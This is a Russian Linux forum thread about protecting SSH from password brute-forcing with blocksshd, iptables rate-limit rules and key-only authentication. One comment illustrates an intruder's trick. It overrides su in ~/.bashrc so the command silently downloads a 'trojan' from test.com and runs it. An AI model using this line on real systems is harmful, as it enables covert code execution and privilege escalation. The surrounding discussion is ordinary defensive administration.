LINUX.ORG.RU

Защита SSH от перебора пароля с помощью blocksshd и iptables


0

0

Существуют такие ситуации, когда сервис SSH должен быть открыт для всего интернета, а не только для определённых адресов. Однако в этом случае большинство системных администраторов сталкивается с проблемой перебора паролей. Так называемой брутфорс-атакой. Это явление не столько опасное (хотя конечно же недооценивать опасность не стоит), сколько просто неприятное. Однако решение у этой проблемы есть, и даже не одно.

Существует множество различных скриптов, принцип работы которых одинаков: анализируется лог авторизации, и закрывается доступ к серверу с IP-адресов, с которых было несколько неудачных попыток авторизации в течении короткого времени.

Один из вариантов такого скрипта - написанный на perl демон blocksshd. О его настройке можно прочитать в предлагаемой статье.

>>> Статья

★★★★

Проверено: Shaman007 ()
Ответ на: комментарий от gaa

> И что только не делают люди лишь бы авторизацию по ключам не

> использовать.

Угу. В один прекрасный момент у тебя тырят ноутбук/получают доступ к твоему компу и п*зда всему. Так хоть пароль никто не знает...

dmesg
()
Ответ на: комментарий от gaa

>И что только не делают люди лишь бы авторизацию по ключам не использовать.

Сам пользуюсь ключами когда с одной и той же машины заходить планируется. А вот, например, дома у меня торчит наружу ssh как раз для того, чтобы, будучи, например, в гостях, быстро поставить чуваку putty и сходить домой, например, чтобы на ftp что-нибудь положить. И не таскать же ключ с собой на флешке?

AsphyX ★★★
()
Ответ на: комментарий от alt0v14

>потому-что зайдя под админом можно воспользоваться свежей уязвимостью и получить рута, либо воспользоваться невнимательностью администратора и подсмотреть шонеть секурное в конфигах.

Зайдя под аккаунтом, с которого делают su, можно в ~/.bashrc прописать:

function su(){ su -c '(wget http://test.com/trojan && chmod +x trojan && ./trojan)& sh'

true
()
Ответ на: комментарий от haywire

>У юзерины логин и пароль из 3-х букв и они совпадают.

Это проблема юзера. С таким же успехом он может поставить очень сложный пароль и выложить его у себя в ЖЖ.

В крайнем случае можно поставить ограничения на минимальную длину и сложность пароля или просто разрешить заходить на машину только определённым юзерам.

true
()

А public keys authorization не модно? Вот удивляюсь, сколько пытаются придумать костылей вместо того, чтобы заюзать существующими фичами.

anonymous
()
Ответ на: комментарий от AsphyX

Почему же нет )

Я вот флешку с собой таскаю, а на ней ключ, pageant и portablePuTTY (от Xming).

octy ★★
()
Ответ на: комментарий от dmesg

> В один прекрасный момент у тебя тырят ноутбук/получают доступ к твоему компу и п*зда всему. Так хоть пароль никто не знает...

1. Ключи защищаются парольной фразой. Большой и легко запоминаемой.

2. Украденный ключ заменяется на новый.

По теме: поражаюсь энтузиазму изобретателей костылей. При авторизации по ключам необходимо иметь, во-первых, тот самый ключ, во-вторых, если задано, парольную фразу к нему. Это недостаточная защита?

dm1024 ★★★
()
Ответ на: комментарий от AsphyX

>А вот, например, дома у меня торчит наружу ssh как раз для того, чтобы, будучи, например, в гостях, быстро поставить чуваку putty и сходить домой, например, чтобы на ftp что-нибудь положить.

А где гарантия, что у чувака нет кейлоггера?

true
()
Ответ на: комментарий от anonymous

> а что, можно запретить любой вход кроме как по ключу?

Можно. В этом режиме, если у тебя нет соответствующего ключа, sshd с тобой даже разговаривать не будет.

dm1024 ★★★
()
Ответ на: комментарий от dmesg

>> И что только не делают люди лишь бы авторизацию по ключам не использовать.

> Угу. В один прекрасный момент у тебя тырят ноутбук/получают доступ к твоему компу и п*зда всему. Так хоть пароль никто не знает...

Ну ещё советую вспомнить про терморектальный криптоанализ. От него вообще ничего не спасает :)

Не вижу в чём проблема: спижженый ключ всегда можно удалить из ~/.ssh/authorized_keys. А уж про доступ к компу: не надо пускать чужих. Логаутиться, личить и т.д.

gaa ★★
()
Ответ на: комментарий от KBAKEP

> Есть же средства от такого произвола пользователей.

Какие такие средства ? Вам пароль на бумажке чтоли приносят ? Говорю вбивайте пароль, они вбивают. Я за ними не смотрю, мне это нафик не надо.

haywire
()
Ответ на: комментарий от true

>А где гарантия, что у чувака нет кейлоггера?

Гарантии нет, хотя я привык доверять людям. А альтернатива? Ключ на флешке?

AsphyX ★★★
()
Ответ на: комментарий от true

> Это проблема юзера. C nаким же успехом он может поставить очень сложный пароль и выложить его у себя в ЖЖ.

Вы явно не знакомы с юзерами. Есть деятели, которые на сервер из дома под своим логином заливают вендовые трояны и качалки вместе с палёным "чрезвычайно нужным по рвботе" файлом. А вы говорите Линуксу антивирус не нужен. И всё это проблемы администрирующего сервер. Потому что если малолетний придурок потырит это затрояненое файло, выяснять, что, куда и по чьей вине пропало, будет не юзер.

haywire
()
Ответ на: комментарий от AsphyX

>Гарантии нет, хотя я привык доверять людям.

Так может то троян какой, а не сам знакомый.

>А альтернатива?

Логиниться с мобильника/PDA/лаптопа.

>Ключ на флешке?

Не поможет - вдруг там троян, который при подключении флешки копирует с неё все файлы.

true
()
Ответ на: комментарий от Vetal80

> Если все так просто, то зачем замарачиваться с этим блокссшд?!?!

Заё... тонна сообщений в messages о неуспешных попытках логина.

atrus ★★★★★
()
Ответ на: комментарий от true

> Предлагаю использовать защиту SSH от перебора пароля с помощью установки нормального пароля.

+1

anonymous
()
Ответ на: комментарий от gaa

> Ну ещё советую вспомнить про терморектальный криптоанализ. От него вообще ничего не спасает :)

Кстати, вот у TrueCrypt есть режим с "настоящим" и "второстепенным" паролями. Оба действуют, только разлочивают разные части хранилища. Главная фишка в том, что невозможно узнать сколько таких паролей (и, соответственно частей хранилища). При терморектальном анализе говорится "да нету у меня БД ЦРУ" и в порыве помощи следствию даются все "второстепенные" пароли. Главное, чтобы там лежало хоть что-то, а то не поверят.

Это я к чему, может чот-то такое и с ssh замутить? Чтобы можно было выдать пароль... ну не знаю, к крутящемся в virtualbox'е GNU/Hurd ^_^

voronaam ★★
()
Ответ на: комментарий от voronaam

Это если уже знают username, а так проще просто другой юзернейм. Ну а если уж и знают, то openssh вполне себе open, можно что угодно придумать.

stassats ★★★★
()

-A RH-Firewall-1-INPUT -m tcp -p tcp -s trusted_ip --dport 22 -j ACCEPT -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j SSHSCAN -A SSHSCAN -m recent --set --name SSH -A SSHSCAN -m recent --update --seconds 300 --hitcount 4 --name SSH -j LOG --log-prefix "SSH SCAN blocked: " -A SSHSCAN -m recent --update --seconds 300 --hitcount 4 --name SSH -j DROP -A SSHSCAN -j ACCEPT

anonymous
()
Ответ на: комментарий от anonymous

> Что это за ситуация когда ssh нужно открывать на весь мир?

Когда пользователи сидят за NAT разных провайдеров - которые в сумме покрывают очень много пользователей. Не на весь мир, но тоже внушительное количество.

skwish ★★
()
Ответ на: комментарий от dmesg

>> И что только не делают люди лишь бы авторизацию по ключам не использовать. > Угу. В один прекрасный момент у тебя тырят ноутбук/получают доступ к твоему компу и п*зда всему. Так хоть пароль никто не знает...

Все зависит от важности сервера. Домой, например, можно просто по ключу ходить. На сервер - ключ шифруется кодовой фразой. Получается, что для того, чтобы использовать стыреный ключ нужно еще и парольную фразу знать. Так тут вижу только один недостаток : парольная фраза одна на весь один ключ и следовательно на все много серверов. Считаю, что при такой открытой краже ключа (утеря ноута/pda) у вас будет достаточно много времени (за счет того, что ключ шифрован), чтобы не спеша вычеркнуть ваш старый ключ из списков на серверах и поставить новый.

skwish ★★
()
Ответ на: комментарий от haywire

> А тебе не приходило в голову, что раз это делается, значит, работает и срабатывает. Я сам лично брутфорсил свои машины для проверки и добвался успеха. У юзерины логин и пароль из 3-х букв и они совпадают. И это не редкость.

А pam ей не запретил такой пароль ставить?

skwish ★★
()
Ответ на: комментарий от skwish

iptables -A INPUT -p tcp -i eth0 -m state --state NEW --dport 22 -m recent --update --seconds 20 -j DROP

iptsbles -A INPUT -p tcp -i eth0 -m state --state NEW --dport 22 -m recent --set -j ACCEPT

При условии, что eth0 - внешний интерфейс. И все! Роботы отваливаются, логи чистые, трафик не идет. И не надо никаких дополнительных поделок.

BigKAA
()

уже очень давно не юзаю 22й порт для ссхи

anonymous
()
Ответ на: комментарий от BigKAA

> iptables -A INPUT -p tcp -i eth0

"-i eth0" даже лишнее. Оно не мешает и тогда, когда висит везде. и это, оно точно без описок ? "-m" дважды.

-A INPUT -p TCP --syn --dport 22 -m recent --name ssh --set
-A INPUT -p TCP --syn --dport 22 -m recent --name ssh --update --seconds 60 --hitcount 5 -j LOG
-A INPUT -p TCP --syn --dport 22 -m recent --name ssh --update --seconds 60 --hitcount 5 -j DROP


ТАк вот как-то логичнее.

AS ★★★★★
()
Ответ на: комментарий от AS

Ну типа там -m state, и по моему --state NEW логичнее чем --syn.

-i eth0 имеет смысл на машинке роутере, что бы при попытке подключения из внутренней сети не мешать :) Ну а если сервак просто в сети, то оно конечно лишнее. Я копи-пасте со своего роутера сделал.

Ну и не понял, зачем LOG, да еше и без -m limit? Не гуд это, LOG без ограничения.

BigKAA
()
Ответ на: комментарий от voronaam

> Кстати, вот у TrueCrypt есть режим с "настоящим" и "второстепенным" паролями. Оба действуют, только разлочивают разные части хранилища. Главная фишка в том, что невозможно узнать сколько таких паролей (и, соответственно частей хранилища). При терморектальном анализе говорится "да нету у меня БД ЦРУ" и в порыве помощи следствию даются все "второстепенные" пароли. Главное, чтобы там лежало хоть что-то, а то не поверят.

Ищут не просто так, и не ради спортивного интереса. Обычно знают то, чего надо найти. И если вместо искомого будет какой-то мусор, то всего навсего увеличат рабочую температуру ректального криптоанализатора. Вариантов навалом... например, если вы не сирота, то привлекут родственников к криптоанализу.

А от брутфорса предложеный механизм не спасает вовсе. Потому как "настоящий" пароль подбирается так же как и "второстепенный".

anonymous
()
Ответ на: комментарий от anonymous

> если вместо искомого будет какой-то мусор

Ну зачем же мусор. Например, почтовая база, кэш браузера, профили IM-ов, несколько проектов, личные фото и прочее, что законопслушный параноик мог бы прятать.

> от брутфорса предложеный механизм не спасает вовсе

Безусловно. Это именно от терморектального спасает. То есть, не гарантировано спасает, но даёт какой-то шанс...

Я вообще в последнее время увлекаюсь такими хитрыми крипто-схемами. Например, недавно читал про крипто-голосования. Когда голосовавший может проверить, что его голос учтён правильно, проверить правильно ли общая статистика посчитана, но при этом соблидается тайна голосования. Любопытно такие схемы раскручивать...

voronaam ★★
()
Ответ на: комментарий от anonymous

IMHO. Достаточно так:

iptables -A INPUT -p tcp --dport 22 --syn -m hashlimit --hashlimit 3/min --hashlimit-burst 1 --hashlimit-mode srcip --hashlimit-name SSH -j ACCEPT

qwe ★★★
()

> Существует множество различных скриптов, принцип работы которых одинаков:
> анализируется лог авторизации, и закрывается доступ к серверу с IP-адресов,
> с которых было несколько неудачных попыток авторизации в течении короткого
> времени.

Глупости все это. Хотите безопасности -- не передвайте паролей по сети,
пользуйтесь ssh ключами, Kerberos, etc. Так что

RSAAuthentication yes
PubkeyAuthentication yes

ChallengeResponseAuthentication no
PasswordAuthentication no

Да, и еще. Все эти придурковатые чудо-скрипты дают кучу ложных срабатываний,
особенно если кто-то из NAT'-нутой сети пытается зайти. Я сам неоднократно
попадал в такую ситуацию. Самое смешное -- паролей никаких не нужно было
(Kerberos), а все равно -- ОБЛОМ!

Dselect ★★★
()
Ответ на: комментарий от dm1024

> 1. Ключи защищаются парольной фразой. Большой и легко запоминаемой.
> 2. Украденный ключ заменяется на новый.
> По теме: поражаюсь энтузиазму изобретателей костылей. При авторизации по ключам необходимо иметь, во-первых, тот самый ключ, во-вторых, если задано, парольную фразу к нему. Это недостаточная защита?

Садись, двойка. Перебор пароля к ключу в миллионы раз быстрее подбора пароля к ссх, и не может содержать бана за много неверных попыток.

szh ★★★★
()
Ответ на: комментарий от AMDmi3

>А заморачиваться можно чтобы логи не засорялись

Ну а так логи будут засоряться "...refused connect from ..." :) Проблема с логами решаема иначе.

По теме, ИМХО, подобное не нужно. А порой и самому себе во вред может оказаться.. Можно, конечно, еще нарисовать демона, котрому почтой можно сказать убрать указанный адрес из deny... Но что делать, если на сервак на залогиниться как раз потому, что сендмайл слёг..

madcore ★★★★★
()
Ответ на: комментарий от dmesg

Нет приема против лома.

> Угу. В один прекрасный момент у тебя тырят ноутбук

Шифруйте файловые системы.

> получают доступ к твоему компу и п*зда всему. Так хоть пароль никто не знает...

Святая наивность. :) Поставят keylogger -- и узнают.

Dselect ★★★
()
Ответ на: комментарий от szh

> Перебор пароля к ключу в миллионы раз быстрее подбора пароля к ссх,

Я даже не спрашиваю, кто Вам даст ключ.

Как-то я смеха ради пробовал подобрать тупым перебором пароль к своему
ключу. За 2 месяца ничего не выгорело. За такое время можно успеть сменить
ключи черт знает сколько раз.

> и не может содержать бана за много неверных попыток.

Для особо одаренных объясняю еще раз. В случае с PasswordAuthentication
бан за много неверных попыток -- это DoS. Любой @удак может *надцать
ввести неправильный пароль, и ВСЕ -- приплыли.

Dselect ★★★
()
Ответ на: комментарий от Dselect

>Для особо одаренных объясняю еще раз. В случае с PasswordAuthentication бан за много неверных попыток -- это DoS. Любой @удак может *надцать ввести неправильный пароль, и ВСЕ -- приплыли. >Dselect Ну и я "Для особо одаренных объясняю еще раз." Банится Source IP. Если и теперь не понятно - ПНХ кастрюли мыть :-Е

anonymous
()
Ответ на: комментарий от anonymous

> Ну и я "Для особо одаренных объясняю еще раз." Банится Source IP.

Молодой человек, Вам известно, что такое NAT?

Dselect ★★★
()
Ответ на: комментарий от true

Нет приема против лома. Если нет другого лома.

> > Шифруйте файловые системы.

> Ядро по-любому останется незашифрованным, туда трояна и засунут.

Ядро, как и загрузчик, живет на отдельном CD (который всегда носится с собой),
иначе нечего и огород гороодить. Остаются аппаратные keylogger'ы и/или
перепрошивка BIOS. Для борьбы с этим есть TPM и замки для корпусов. Но как
и все остальное, их тоже можно взломать. Например, с помощью терморектального
анализа. Защитой от него уже не криптография занимается, а боевые искусства.

Dselect ★★★
()
Ответ на: комментарий от Dselect

> Я даже не спрашиваю, кто Вам даст ключ.

Правильно, сначала ответь кто мне даст пароль :)

> Как-то я смеха ради пробовал подобрать тупым перебором пароль к своему ключу. За 2 месяца ничего не выгорело.

А теперь поставь этот пароль себе на логин и попробуй по ssh протоколу подобрать перебором :) 2 месяца превратятся в 2000? лет.

Ключ обычно нужен для тех пользователей которые не в состоянии использовать сложные пароли.

szh ★★★★
()
Ответ на: комментарий от szh

> Ключ обычно нужен для тех пользователей которые не в состоянии использовать сложные пароли.

Посмеялся, спасибо. А клавиатура нужна для тех, кто не в состоянии замыкать контакты руками.

gaa ★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.